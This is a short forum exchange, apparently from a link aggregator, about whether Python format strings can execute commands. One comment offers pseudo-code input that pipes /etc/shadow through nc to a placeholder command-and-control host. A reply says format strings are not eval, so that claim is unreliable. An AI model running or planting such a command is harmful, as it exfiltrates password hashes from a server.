2 ms·
It seems the format string can run commands on the server. I don't know Python, so this is a pseudo code example that a user could enter: "{system('nc c_a
by nitrogen 10y ago
It seems the format string can run commands on the server.
I don't know Python, so this is a pseudo code example that a user could enter:
"{system('nc c_and_c_box.example < /etc/shadow \
> /dev/null')} Nothing to see here, move along"
- cyphar 10y agoFormat strings in python are not equivalent to eval. The syntax looks similar, but it's actually limited to evaluating methods and list elements in a given object. Now, with Python's monkeys patchability this is worrying, but it's far from being eval.